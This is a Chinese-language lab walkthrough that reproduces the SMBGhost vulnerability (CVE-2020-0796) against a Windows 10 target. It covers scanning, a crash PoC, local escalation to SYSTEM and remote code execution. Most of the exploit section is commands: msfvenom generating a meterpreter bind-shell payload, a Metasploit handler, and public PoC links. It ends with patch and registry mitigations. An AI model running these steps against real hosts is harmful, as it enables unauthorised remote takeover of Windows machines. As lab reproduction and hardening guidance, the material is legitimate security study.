0x01 漏洞介绍
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,Microsoft Guidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
0x02 漏洞影响系统版本
适用于32位系统的Windows 10版本1903
Windows 10 1903版(用于基于x64的系统)
Windows 10 1903版(用于基于ARM64的系统)
Windows Server 1903版(服务器核心安装)
适用于32位系统的Windows 10版本1909
Windows 10版本1909(用于基于x64的系统)
Windows 10 1909版(用于基于ARM64的系统)
Windows Server版本1909(服务器核心安装)
0x03 漏洞环境
kali:192.168.44.128
靶机win10:192.168.44.138
永痕之黑 CVE-2020-0796 补丁编号:KB4551762
Tips:在我查看WIN10补丁时,没有看到这个补丁,当我使用检测工具检测时,发现靶机并没有这个漏洞。于是我卸载掉了5月份的一个补丁,和6月份的补丁,再次检测时,发现有这个漏洞了,感觉比较奇妙吧,记录一下。如果不想卸载补丁的话,可以重新装一台WIN10,下载链接:http://msdn.itellyou.cn/ 自己找想要的版本就好了,复现的话,最好停止win10自动更新。
0x04 漏洞复现
1.漏洞检测
漏洞检测工具有很多,个人比较推荐奇安信写的检测脚本
直接在cmd中拖CVE-2020-0796-Scaner.exe运行,输入IP,即可完成检测。
Tips:靶机需要关闭防火墙,不然扫描是扫不到的。
2.漏洞利用
蓝屏POC:https://github.com/eerykitty/CVE-2020-0796-PoC
在Kali下我们执行如下命令:
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.gitpython3 setup.py installpython3 CVE-2020-0796.py 192.168.44.138
Tips:这里需要python3的环境,如果你的kali是python2的话,最好切换python3,当然我并没有尝试过python2去利用,大家可以自己尝试一下可不可行。
在kali上执行脚本后,靶机win10就成这样了,然后自动重启。
3.提权利用
a.本地提权。
本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip
建立了一个普通账户hack
下面我们把提取exe传上去,执行它。
本地普通用户执行提权exe后弹出cmd窗口,成功获取system权限。
b.远程利用:
远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC
1.使用msfvenom生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python
将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD。
2.开启msf监听
use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 192.168.44.138run
然后run,开始监听4444端口。
3.运行POC,建立连接。
连接成功,成功拿到shell.~
总结:在复现的过程中,遇到了很多坑,如下
1.明明检测的时候是可以的,。。但是复现的时候它就自动打上了补丁,执行POC的时候会显示[-] physical read primitive failed!,然后就拿不到shell,导致我疑惑了很久,然后当我发现这个问题时,这个新打的补丁居然是无法卸载的,重新安装了一个win10 1903,才复现成功。
2.补丁号不一定是KB4551762,可能补丁合在一起变成了一个补丁吧。(猜测)
0x04 漏洞修复
1) 及时更新微软针对该漏洞所发布的的修复补丁(KB4551762)
ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression
March 12, 2020—KB4551762 (OS Builds 18362.720 and 18363.720)
2)在注册表中建立一个名为 DisableCompression 的 DWORD (值为1) ,以禁用SMBv3的压缩功能:
powershell 中键入
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3)关闭445端口。